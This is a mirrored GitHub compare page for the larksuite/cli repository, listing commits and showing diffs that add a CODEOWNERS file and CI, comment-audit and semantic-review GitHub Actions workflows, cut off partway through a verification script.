mirror of
https://github.com/larksuite/cli.git
synced 2026-07-09 02:14:02 +08:00
Compare commits
179 Commits
feat/slide
...
feat/remot
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
3900974469 | ||
|
|
603b9b7b43 | ||
|
|
8f54f9e77e | ||
|
|
6c8ea37340 | ||
|
|
f837ebf64e | ||
|
|
e8bfbab4a5 | ||
|
|
3bda9e17de | ||
|
|
e753b15d84 | ||
|
|
bdffffb368 | ||
|
|
ec6fdc9b30 | ||
|
|
775ee5a501 | ||
|
|
214318aa02 | ||
|
|
6f2cddfce1 | ||
|
|
75926f9744 | ||
|
|
5c4ad52741 | ||
|
|
3fcb695698 | ||
|
|
fb042758db | ||
|
|
22108c3300 | ||
|
|
31744f8cf9 | ||
|
|
1dd0758091 | ||
|
|
4a5a669b1a | ||
|
|
ebb0b6fe73 | ||
|
|
5c0a36b2a6 | ||
|
|
21905b0ba1 | ||
|
|
602c788fd9 | ||
|
|
30b28cf17f | ||
|
|
297776ea66 | ||
|
|
5b0c3137e3 | ||
|
|
4c31323de1 | ||
|
|
8a268aa2d2 | ||
|
|
39d60cb706 | ||
|
|
d9330b7ab3 | ||
|
|
6b833257c7 | ||
|
|
ba51d4874e | ||
|
|
40a09c8957 | ||
|
|
806e8679f6 | ||
|
|
d69761e205 | ||
|
|
7346de30b1 | ||
|
|
cf93ee051c | ||
|
|
fe32a6e0a9 | ||
|
|
af9835c288 | ||
|
|
2e3073a532 | ||
|
|
1c92ed8841 | ||
|
|
644c3c77dd | ||
|
|
bd898a1d74 | ||
|
|
898e6d4b3b | ||
|
|
7df37ed715 | ||
|
|
3f9ace8af5 | ||
|
|
b3514e5519 | ||
|
|
b46e60c156 | ||
|
|
d71bab0061 | ||
|
|
d11a6e97a4 | ||
|
|
e4248d1154 | ||
|
|
cb54bea00d | ||
|
|
036e5799d3 | ||
|
|
c4106f50b2 | ||
|
|
736b131cdf | ||
|
|
5efaf65aec | ||
|
|
0991da7446 | ||
|
|
80bea45c6a | ||
|
|
c775cb4360 | ||
|
|
824aa9edf8 | ||
|
|
9d4ae94394 | ||
|
|
bba13cfe0f | ||
|
|
815cdb8f1c | ||
|
|
4f3ae0c71a | ||
|
|
96d70143c5 | ||
|
|
83db15907f | ||
|
|
1f2164c7c2 | ||
|
|
76f5419a0d | ||
|
|
c5b5aece33 | ||
|
|
d687a76c79 | ||
|
|
4a4c3344c8 | ||
|
|
c61acb5264 | ||
|
|
7eeb111a2d | ||
|
|
714da970d0 | ||
|
|
ed7fdd1a27 | ||
|
|
4464ba7660 | ||
|
|
bb03c8ac4d | ||
|
|
3feb70b32a | ||
|
|
64b1b3f3ed | ||
|
|
a0e83c7e59 | ||
|
|
297b2a222e | ||
|
|
80a5f30f4d | ||
|
|
cf35d1e499 | ||
|
|
fd16cf106b | ||
|
|
53076733ec | ||
|
|
a3bee13ca9 | ||
|
|
6217bd2c29 | ||
|
|
72c294712c | ||
|
|
37f4f899b2 | ||
|
|
c0730b46bf | ||
|
|
751092c8ef | ||
|
|
deb0bd9dd6 | ||
|
|
0fbfe68726 | ||
|
|
e1af7e3018 | ||
|
|
693e299589 | ||
|
|
69f335be7c | ||
|
|
d1a0926dd6 | ||
|
|
008bdda861 | ||
|
|
f1da8c274b | ||
|
|
842be3fdc5 | ||
|
|
1cd7a88597 | ||
|
|
7c64e63b9d | ||
|
|
8e60f01474 | ||
|
|
465c789f7c | ||
|
|
2a7e9c7d0d | ||
|
|
76ba6fad4f | ||
|
|
510545f1e5 | ||
|
|
c11cf3b716 | ||
|
|
ee2c93efeb | ||
|
|
33e459a4de | ||
|
|
5aeae2db65 | ||
|
|
9b39d10203 | ||
|
|
8572a58fda | ||
|
|
9bc66cc445 | ||
|
|
e53f9d999e | ||
|
|
ae35b35693 | ||
|
|
c2e617fc96 | ||
|
|
3f77eded9d | ||
|
|
e64610f6d2 | ||
|
|
dfa26c38f6 | ||
|
|
154ecdb90f | ||
|
|
483043c88b | ||
|
|
6d8dc402ac | ||
|
|
9f2e049858 | ||
|
|
2c703f2fce | ||
|
|
501bf539af | ||
|
|
8e667db534 | ||
|
|
e751a53f76 | ||
|
|
e794fd5925 | ||
|
|
077b5e7180 | ||
|
|
0d20a02050 | ||
|
|
7cc0b49603 | ||
|
|
6b48a39d55 | ||
|
|
b07be60068 | ||
|
|
31bc87a2cc | ||
|
|
7fdf55821b | ||
|
|
201e3e016f | ||
|
|
eed711bb11 | ||
|
|
4f4c0b59c9 | ||
|
|
2b4c6349a1 | ||
|
|
944cd55fc7 | ||
|
|
7229baae40 | ||
|
|
170565c57e | ||
|
|
03ea6e78b8 | ||
|
|
ed3fe9337f | ||
|
|
cc416a4de5 | ||
|
|
00d45f8fa2 | ||
|
|
0d847511d2 | ||
|
|
8f5504c51c | ||
|
|
d0a896ce91 | ||
|
|
99ceb2279c | ||
|
|
ec2ffebf47 | ||
|
|
ee5113f9d0 | ||
|
|
7cce7468d6 | ||
|
|
281cdbd37c | ||
|
|
add079ea1c | ||
|
|
076f4d579f | ||
|
|
0c2fd08d5a | ||
|
|
9d845442ce | ||
|
|
c07a14aa2b | ||
|
|
8b39f7243c | ||
|
|
e40ef66912 | ||
|
|
e1bb9db552 | ||
|
|
7c50b3d9e3 | ||
|
|
5788a6c384 | ||
|
|
bd07859c90 | ||
|
|
8c3cba17b2 | ||
|
|
6367aaa0f5 | ||
|
|
37b17f3d37 | ||
|
|
be5527ca4e | ||
|
|
a75420f72c | ||
|
|
f3949f04c4 | ||
|
|
62364fc320 | ||
|
|
2f4e2c3019 | ||
|
|
3990151122 | ||
|
|
fa929f02d6 | ||
|
|
a4a4bd6ee0 |
30
.github/CODEOWNERS
vendored
Normal file
30
.github/CODEOWNERS
vendored
Normal file
@@ -0,0 +1,30 @@
|
||||
/internal/ @liangshuo-1
|
||||
|
||||
# Last match wins: existing domains below are exempt, only new skills/ entries need review.
|
||||
/skills/ @liangshuo-1
|
||||
/skills/lark-approval/
|
||||
/skills/lark-apps/
|
||||
/skills/lark-attendance/
|
||||
/skills/lark-base/
|
||||
/skills/lark-calendar/
|
||||
/skills/lark-contact/
|
||||
/skills/lark-doc/
|
||||
/skills/lark-drive/
|
||||
/skills/lark-event/
|
||||
/skills/lark-im/
|
||||
/skills/lark-mail/
|
||||
/skills/lark-markdown/
|
||||
/skills/lark-minutes/
|
||||
/skills/lark-okr/
|
||||
/skills/lark-openapi-explorer/
|
||||
/skills/lark-shared/
|
||||
/skills/lark-sheets/
|
||||
/skills/lark-skill-maker/
|
||||
/skills/lark-slides/
|
||||
/skills/lark-task/
|
||||
/skills/lark-vc/
|
||||
/skills/lark-vc-agent/
|
||||
/skills/lark-whiteboard/
|
||||
/skills/lark-wiki/
|
||||
/skills/lark-workflow-meeting-summary/
|
||||
/skills/lark-workflow-standup-report/
|
||||
99
.github/workflows/ci.yml
vendored
99
.github/workflows/ci.yml
vendored
@@ -5,13 +5,12 @@ on:
|
||||
branches: [main]
|
||||
pull_request:
|
||||
branches: [main]
|
||||
types: [opened, synchronize, reopened, edited]
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
actions: read
|
||||
checks: write
|
||||
pull-requests: write
|
||||
|
||||
jobs:
|
||||
# ── Layer 1: Fast Gate ─────────────────────────────────────────────
|
||||
@@ -72,6 +71,7 @@ jobs:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
@@ -80,10 +80,84 @@ jobs:
|
||||
python-version: '3.x'
|
||||
- name: Fetch meta data
|
||||
run: python3 scripts/fetch_meta.py
|
||||
- name: Resolve changed-from baseline
|
||||
env:
|
||||
QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
|
||||
run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
|
||||
- name: Run golangci-lint
|
||||
run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev=origin/main
|
||||
run: go run github.com/golangci/golangci-lint/v2/cmd/golangci-lint@v2.1.6 run --new-from-rev="$QUALITY_GATE_CHANGED_FROM"
|
||||
- name: Run errs/ lint guards (lintcheck)
|
||||
run: go run -C lint . ..
|
||||
run: go run -C lint . --changed-from "$QUALITY_GATE_CHANGED_FROM" ..
|
||||
|
||||
script-test:
|
||||
needs: fast-gate
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
- uses: actions/setup-node@49933ea5288caeca8642d1e84afbd3f7d6820020 # v4
|
||||
with:
|
||||
node-version: '22'
|
||||
- name: Run script tests
|
||||
run: make script-test
|
||||
|
||||
deterministic-gate:
|
||||
needs: fast-gate
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
actions: read
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
fetch-depth: 0
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
- uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6
|
||||
with:
|
||||
python-version: '3.x'
|
||||
- name: Fetch meta data
|
||||
run: python3 scripts/fetch_meta.py
|
||||
- name: Resolve changed-from baseline
|
||||
env:
|
||||
QUALITY_GATE_CHANGED_FROM: ${{ github.event.pull_request.base.sha || github.event.before || 'origin/main' }}
|
||||
run: echo "QUALITY_GATE_CHANGED_FROM=$(bash scripts/resolve-changed-from.sh)" >> "$GITHUB_ENV"
|
||||
- name: Write public content metadata
|
||||
if: ${{ github.event_name == 'pull_request' }}
|
||||
env:
|
||||
PR_TITLE: ${{ github.event.pull_request.title }}
|
||||
PR_BODY: ${{ github.event.pull_request.body }}
|
||||
PR_BRANCH: ${{ github.head_ref }}
|
||||
run: |
|
||||
mkdir -p .tmp/quality-gate
|
||||
python3 - <<'PY'
|
||||
import json
|
||||
import os
|
||||
|
||||
with open(".tmp/quality-gate/public-content-metadata.json", "w", encoding="utf-8") as f:
|
||||
json.dump({
|
||||
"title": os.environ.get("PR_TITLE", ""),
|
||||
"body": os.environ.get("PR_BODY", ""),
|
||||
"branch": os.environ.get("PR_BRANCH", ""),
|
||||
}, f)
|
||||
f.write("\n")
|
||||
PY
|
||||
- name: Run CLI deterministic gate
|
||||
run: PUBLIC_CONTENT_METADATA=.tmp/quality-gate/public-content-metadata.json make quality-gate
|
||||
- name: Upload quality gate facts
|
||||
if: ${{ always() && github.event_name == 'pull_request' }}
|
||||
uses: actions/upload-artifact@ea165f8d65b6e75b540449e92b4886f43607fa02 # v4
|
||||
with:
|
||||
name: quality-gate-facts-${{ github.event.pull_request.base.sha }}-${{ github.event.pull_request.head.sha }}
|
||||
path: .tmp/quality-gate/facts.json
|
||||
if-no-files-found: error
|
||||
retention-days: 7
|
||||
|
||||
coverage:
|
||||
needs: fast-gate
|
||||
@@ -103,6 +177,7 @@ jobs:
|
||||
packages=$(go list ./... | grep -v '^github.com/larksuite/cli/tests/cli_e2e$' | grep -v '^github.com/larksuite/cli/tests/cli_e2e/')
|
||||
go test -race -coverprofile=coverage.txt -covermode=atomic $packages
|
||||
- name: Upload coverage to Codecov
|
||||
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
|
||||
uses: codecov/codecov-action@3f20e214133d0983f9a10f3d63b0faf9241a3daa # v6
|
||||
with:
|
||||
files: coverage.txt
|
||||
@@ -184,7 +259,7 @@ jobs:
|
||||
|
||||
# ── Layer 3: E2E Gate ──────────────────────────────────────────────
|
||||
e2e-dry-run:
|
||||
needs: [unit-test, lint]
|
||||
needs: [unit-test, lint, script-test, deterministic-gate]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
@@ -205,9 +280,12 @@ jobs:
|
||||
run: go test -v -count=1 -timeout=5m ./tests/cli_e2e/... -run 'DryRun|Regression'
|
||||
|
||||
e2e-live:
|
||||
needs: [unit-test, lint]
|
||||
needs: [unit-test, lint, script-test, deterministic-gate]
|
||||
if: ${{ github.event_name != 'pull_request' || !github.event.pull_request.head.repo.fork }}
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
checks: write
|
||||
env:
|
||||
TEST_BOT1_APP_ID: ${{ secrets.TEST_BOT1_APP_ID }}
|
||||
TEST_BOT1_APP_SECRET: ${{ secrets.TEST_BOT1_APP_SECRET }}
|
||||
@@ -254,6 +332,9 @@ jobs:
|
||||
# ── Layer 4: Security & Compliance (parallel with L2-L3) ──────────
|
||||
security:
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
contents: read
|
||||
pull-requests: read
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
@@ -291,7 +372,7 @@ jobs:
|
||||
# ── Results Gate (single required check for branch protection) ─────
|
||||
results:
|
||||
if: ${{ always() }}
|
||||
needs: [fast-gate, unit-test, lint, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
|
||||
needs: [fast-gate, unit-test, lint, script-test, deterministic-gate, coverage, deadcode, e2e-dry-run, e2e-live, security, license-header]
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- name: Evaluate results
|
||||
@@ -303,6 +384,8 @@ jobs:
|
||||
echo "| L1 | fast-gate | ${{ needs.fast-gate.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | unit-test | ${{ needs.unit-test.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | lint | ${{ needs.lint.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | script-test | ${{ needs.script-test.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | deterministic-gate | ${{ needs.deterministic-gate.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | coverage | ${{ needs.coverage.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L2 | deadcode | ${{ needs.deadcode.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
echo "| L3 | e2e-dry-run | ${{ needs.e2e-dry-run.result }} |" >> $GITHUB_STEP_SUMMARY
|
||||
@@ -318,6 +401,8 @@ jobs:
|
||||
"${{ needs.fast-gate.result }}" \
|
||||
"${{ needs.unit-test.result }}" \
|
||||
"${{ needs.lint.result }}" \
|
||||
"${{ needs.script-test.result }}" \
|
||||
"${{ needs.deterministic-gate.result }}" \
|
||||
"${{ needs.coverage.result }}" \
|
||||
"${{ needs.deadcode.result }}" \
|
||||
"${{ needs.e2e-dry-run.result }}" \
|
||||
|
||||
28
.github/workflows/comment-audit.yml
vendored
Normal file
28
.github/workflows/comment-audit.yml
vendored
Normal file
@@ -0,0 +1,28 @@
|
||||
name: Comment Audit
|
||||
|
||||
on:
|
||||
issue_comment:
|
||||
types: [created, edited]
|
||||
pull_request_review:
|
||||
types: [submitted, edited]
|
||||
pull_request_review_comment:
|
||||
types: [created, edited]
|
||||
|
||||
permissions:
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
public-content-comment-audit:
|
||||
runs-on: ubuntu-latest
|
||||
steps:
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
with:
|
||||
persist-credentials: false
|
||||
- uses: actions/setup-go@4a3601121dd01d1626a1e23e37211e3254c1c06c # v6
|
||||
with:
|
||||
go-version-file: go.mod
|
||||
- name: Post-publication comment audit
|
||||
run: |
|
||||
mkdir -p .tmp/comment-audit
|
||||
cp "$GITHUB_EVENT_PATH" .tmp/comment-audit/event.json
|
||||
go run ./internal/qualitygate/cmd/comment-audit --event .tmp/comment-audit/event.json --kind "$GITHUB_EVENT_NAME"
|
||||
611
.github/workflows/semantic-review.yml
vendored
Normal file
611
.github/workflows/semantic-review.yml
vendored
Normal file
@@ -0,0 +1,611 @@
|
||||
name: Semantic Review
|
||||
|
||||
on:
|
||||
workflow_run:
|
||||
workflows: ["CI"]
|
||||
types: [completed]
|
||||
|
||||
permissions:
|
||||
actions: read
|
||||
contents: read
|
||||
|
||||
jobs:
|
||||
pr-quality-summary:
|
||||
if: github.event.workflow_run.event == 'pull_request'
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
actions: read
|
||||
contents: read
|
||||
issues: write
|
||||
pull-requests: write
|
||||
steps:
|
||||
- name: Verify workflow run and pull request for summary
|
||||
id: pr
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
with:
|
||||
script: |
|
||||
const run = context.payload.workflow_run;
|
||||
if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
|
||||
let workflowPath = run.path || "";
|
||||
if (!workflowPath) {
|
||||
const workflowId = Number(run.workflow_id || 0);
|
||||
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
|
||||
const { data: workflow } = await github.rest.actions.getWorkflow({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
workflow_id: workflowId,
|
||||
});
|
||||
workflowPath = workflow.path || "";
|
||||
}
|
||||
if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
|
||||
if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
|
||||
if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
|
||||
if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
|
||||
if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
|
||||
const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
|
||||
if (runPRs.length > 1) {
|
||||
throw new Error(`ambiguous workflow_run pull request bindings: ${runPRs.length}`);
|
||||
}
|
||||
let prNumber = Number(runPRs[0]?.number || 0);
|
||||
const eventBaseSha = runPRs[0]?.base?.sha || "";
|
||||
const eventHeadSha = runPRs[0]?.head?.sha || "";
|
||||
const targetHeadSha = run.head_sha;
|
||||
if (!/^[a-f0-9]{40}$/i.test(targetHeadSha)) throw new Error("invalid PR head sha");
|
||||
if (eventHeadSha && eventHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
|
||||
core.notice("PR quality summary using workflow_run head_sha because workflow_run pull request head differs from the CI run head");
|
||||
}
|
||||
|
||||
const factsArtifactPattern = /^quality-gate-facts-([a-f0-9]{40})-([a-f0-9]{40})$/i;
|
||||
const { data: artifactData } = await github.rest.actions.listWorkflowRunArtifacts({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
run_id: run.id,
|
||||
per_page: 100,
|
||||
});
|
||||
const factsArtifacts = artifactData.artifacts.filter((artifact) => factsArtifactPattern.test(artifact.name));
|
||||
let factsArtifactName = "";
|
||||
let artifactBaseSha = "";
|
||||
let artifactError = "";
|
||||
if (factsArtifacts.length !== 1) {
|
||||
artifactError = `expected exactly one base-bound quality gate facts artifact, got ${factsArtifacts.length}`;
|
||||
} else {
|
||||
factsArtifactName = factsArtifacts[0].name;
|
||||
const [, parsedBaseSha, artifactHeadSha] = factsArtifactName.match(factsArtifactPattern);
|
||||
if (artifactHeadSha.toLowerCase() !== targetHeadSha.toLowerCase()) {
|
||||
artifactError = "facts artifact head sha does not match verified PR head sha";
|
||||
factsArtifactName = "";
|
||||
} else {
|
||||
artifactBaseSha = parsedBaseSha;
|
||||
if (eventBaseSha && parsedBaseSha.toLowerCase() !== eventBaseSha.toLowerCase()) {
|
||||
core.notice("PR quality summary using facts artifact base because workflow_run pull request base differs from the CI facts artifact base");
|
||||
}
|
||||
}
|
||||
}
|
||||
if (!prNumber) {
|
||||
const { data: associatedPRs } = await github.rest.repos.listPullRequestsAssociatedWithCommit({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
commit_sha: targetHeadSha,
|
||||
});
|
||||
const candidatePRs = associatedPRs.filter((candidate) =>
|
||||
candidate.base?.repo?.id === context.payload.repository.id &&
|
||||
candidate.head?.sha === targetHeadSha
|
||||
);
|
||||
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
|
||||
if (openCandidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
|
||||
}
|
||||
if (openCandidatePRs.length === 1) {
|
||||
prNumber = openCandidatePRs[0].number;
|
||||
} else if (candidatePRs.length > 0) {
|
||||
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
}
|
||||
if (!prNumber) {
|
||||
const candidatePRs = await github.paginate(github.rest.pulls.list, {
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
state: "all",
|
||||
per_page: 100,
|
||||
}).then((prs) => prs.filter((candidate) =>
|
||||
candidate.base?.repo?.id === context.payload.repository.id &&
|
||||
candidate.head?.sha === targetHeadSha
|
||||
));
|
||||
const openCandidatePRs = candidatePRs.filter((candidate) => candidate.state === "open");
|
||||
if (openCandidatePRs.length > 1) {
|
||||
throw new Error(`ambiguous open PRs from pull list fallback for workflow_run head ${targetHeadSha}: ${openCandidatePRs.length}`);
|
||||
}
|
||||
if (openCandidatePRs.length === 1) {
|
||||
prNumber = openCandidatePRs[0].number;
|
||||
} else if (candidatePRs.length > 0) {
|
||||
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
} else {
|
||||
throw new Error(`expected one open PR from pull list fallback for workflow_run head ${targetHeadSha}, got ${candidatePRs.length}`);
|
||||
}
|
||||
}
|
||||
if (!Number.isInteger(prNumber) || prNumber <= 0) throw new Error("missing pull request binding");
|
||||
const { data: pr } = await github.rest.pulls.get({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
pull_number: prNumber,
|
||||
});
|
||||
if (pr.base.repo.id !== context.payload.repository.id) throw new Error("PR base repo mismatch");
|
||||
if (pr.state !== "open") {
|
||||
core.notice("PR quality summary skipped: workflow_run target PR is no longer open");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
if (pr.head.sha !== targetHeadSha) {
|
||||
core.notice("PR quality summary skipped: workflow_run is stale for this PR head");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
const baseSha = artifactBaseSha || eventBaseSha || pr.base.sha;
|
||||
if (!/^[a-f0-9]{40}$/i.test(baseSha)) throw new Error("invalid PR base sha");
|
||||
if ((eventBaseSha || artifactBaseSha) && pr.base.sha !== baseSha) {
|
||||
core.notice("PR quality summary skipped: workflow_run is stale for this PR base");
|
||||
core.setOutput("stale", "true");
|
||||
return;
|
||||
}
|
||||
if (artifactError) {
|
||||
core.warning(`quality gate facts artifact binding is unavailable: ${artifactError}`);
|
||||
}
|
||||
core.setOutput("pr_number", String(prNumber));
|
||||
core.setOutput("head_sha", targetHeadSha);
|
||||
core.setOutput("base_sha", baseSha);
|
||||
core.setOutput("run_id", String(run.id));
|
||||
core.setOutput("facts_artifact_name", factsArtifactName);
|
||||
core.setOutput("artifact_error", artifactError);
|
||||
core.setOutput("stale", "false");
|
||||
|
||||
- uses: actions/checkout@93cb6efe18208431cddfb8368fd83d5badbf9bfd # v5
|
||||
id: checkout
|
||||
if: ${{ steps.pr.outputs.stale != 'true' }}
|
||||
with:
|
||||
ref: ${{ steps.pr.outputs.base_sha }}
|
||||
persist-credentials: false
|
||||
|
||||
- name: Verify summary facts artifact metadata
|
||||
id: artifact
|
||||
if: ${{ steps.pr.outputs.stale != 'true' && steps.pr.outputs.facts_artifact_name != '' }}
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
with:
|
||||
script: |
|
||||
const run = context.payload.workflow_run;
|
||||
const factsArtifactName = "${{ steps.pr.outputs.facts_artifact_name }}";
|
||||
const { data } = await github.rest.actions.listWorkflowRunArtifacts({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
run_id: run.id,
|
||||
per_page: 100,
|
||||
});
|
||||
const artifacts = data.artifacts.filter(a => a.name === factsArtifactName);
|
||||
if (artifacts.length !== 1) throw new Error(`expected exactly one quality-gate-facts artifact, got ${artifacts.length}`);
|
||||
const artifact = artifacts[0];
|
||||
if (artifact.expired) throw new Error("quality-gate-facts artifact expired");
|
||||
if (artifact.size_in_bytes <= 0 || artifact.size_in_bytes > 5 * 1024 * 1024) {
|
||||
throw new Error(`invalid artifact size: ${artifact.size_in_bytes}`);
|
||||
}
|
||||
if (!artifact.digest) throw new Error("facts artifact digest is missing from GitHub API response");
|
||||
core.setOutput("artifact_id", String(artifact.id));
|
||||
core.setOutput("artifact_digest", artifact.digest);
|
||||
|
||||
- name: Download facts artifact zip
|
||||
if: ${{ steps.pr.outputs.stale != 'true' && steps.artifact.outputs.artifact_id != '' }}
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
id: download
|
||||
with:
|
||||
script: |
|
||||
const fs = require("fs");
|
||||
const path = require("path");
|
||||
const artifactId = Number("${{ steps.artifact.outputs.artifact_id }}");
|
||||
if (!Number.isInteger(artifactId) || artifactId <= 0) throw new Error("invalid artifact id");
|
||||
const { data } = await github.rest.actions.downloadArtifact({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
artifact_id: artifactId,
|
||||
archive_format: "zip",
|
||||
});
|
||||
const zipPath = path.join(process.env.RUNNER_TEMP, "quality-gate-facts.zip");
|
||||
fs.writeFileSync(zipPath, Buffer.from(data));
|
||||
core.setOutput("zip_path", zipPath);
|
||||
|
||||
- name: Verify and extract summary facts artifact
|
||||
if: ${{ steps.pr.outputs.stale != 'true' && steps.download.outputs.zip_path != '' }}
|
||||
env:
|
||||
SEMANTIC_REVIEW_BLOCK: ${{ vars.SEMANTIC_REVIEW_BLOCK }}
|
||||
SEMANTIC_REVIEW_DECISION_OUT: decision.json
|
||||
SEMANTIC_REVIEW_MARKDOWN_OUT: semantic-review.md
|
||||
run: node scripts/semantic-review-verify-artifact.js '${{ steps.download.outputs.zip_path }}' facts.json '${{ steps.artifact.outputs.artifact_digest }}'
|
||||
|
||||
- name: Publish PR quality summary
|
||||
if: ${{ always() && steps.pr.outputs.stale != 'true' && steps.checkout.outcome == 'success' }}
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
env:
|
||||
CI_QUALITY_SUMMARY_HEAD_SHA: ${{ steps.pr.outputs.head_sha }}
|
||||
CI_QUALITY_SUMMARY_BASE_SHA: ${{ steps.pr.outputs.base_sha }}
|
||||
CI_QUALITY_SUMMARY_PR_NUMBER: ${{ steps.pr.outputs.pr_number }}
|
||||
CI_QUALITY_SUMMARY_RUN_ID: ${{ steps.pr.outputs.run_id }}
|
||||
CI_QUALITY_SUMMARY_ARTIFACT_ERROR: ${{ steps.pr.outputs.artifact_error }}
|
||||
with:
|
||||
script: |
|
||||
const { publish } = require("./scripts/ci-quality-summary-publish.js");
|
||||
await publish({ github, context, core });
|
||||
|
||||
semantic-review:
|
||||
needs: pr-quality-summary
|
||||
if: always() && github.event.workflow_run.conclusion == 'success' && github.event.workflow_run.event == 'pull_request'
|
||||
runs-on: ubuntu-latest
|
||||
permissions:
|
||||
actions: read
|
||||
checks: write
|
||||
contents: read
|
||||
issues: write
|
||||
pull-requests: write
|
||||
steps:
|
||||
- name: Verify workflow run and pull request
|
||||
id: pr
|
||||
uses: actions/github-script@ed597411d8f924073f98dfc5c65a23a2325f34cd # v8.0.0
|
||||
with:
|
||||
script: |
|
||||
const run = context.payload.workflow_run;
|
||||
if (run.name !== "CI") throw new Error(`unexpected workflow name: ${run.name}`);
|
||||
let workflowPath = run.path || "";
|
||||
if (!workflowPath) {
|
||||
const workflowId = Number(run.workflow_id || 0);
|
||||
if (!Number.isInteger(workflowId) || workflowId <= 0) throw new Error("missing workflow id");
|
||||
const { data: workflow } = await github.rest.actions.getWorkflow({
|
||||
owner: context.repo.owner,
|
||||
repo: context.repo.repo,
|
||||
workflow_id: workflowId,
|
||||
});
|
||||
workflowPath = workflow.path || "";
|
||||
}
|
||||
if (workflowPath !== ".github/workflows/ci.yml") throw new Error(`unexpected workflow path: ${workflowPath}`);
|
||||
if (run.event !== "pull_request") throw new Error(`unexpected event: ${run.event}`);
|
||||
if (run.conclusion !== "success") throw new Error(`unexpected conclusion: ${run.conclusion}`);
|
||||
if (run.repository.id !== context.payload.repository.id) throw new Error("repository id mismatch");
|
||||
if (run.repository.full_name !== context.payload.repository.full_name) throw new Error("repository name mismatch");
|
||||
if (typeof run.head_sha !== "string" || run.head_sha.length !== 40) throw new Error("invalid head sha");
|
||||
const runPRs = Array.isArray(run.pull_requests) ? run.pull_requests : [];
|
||||
if (runPRs.length > 1) {
|
||||
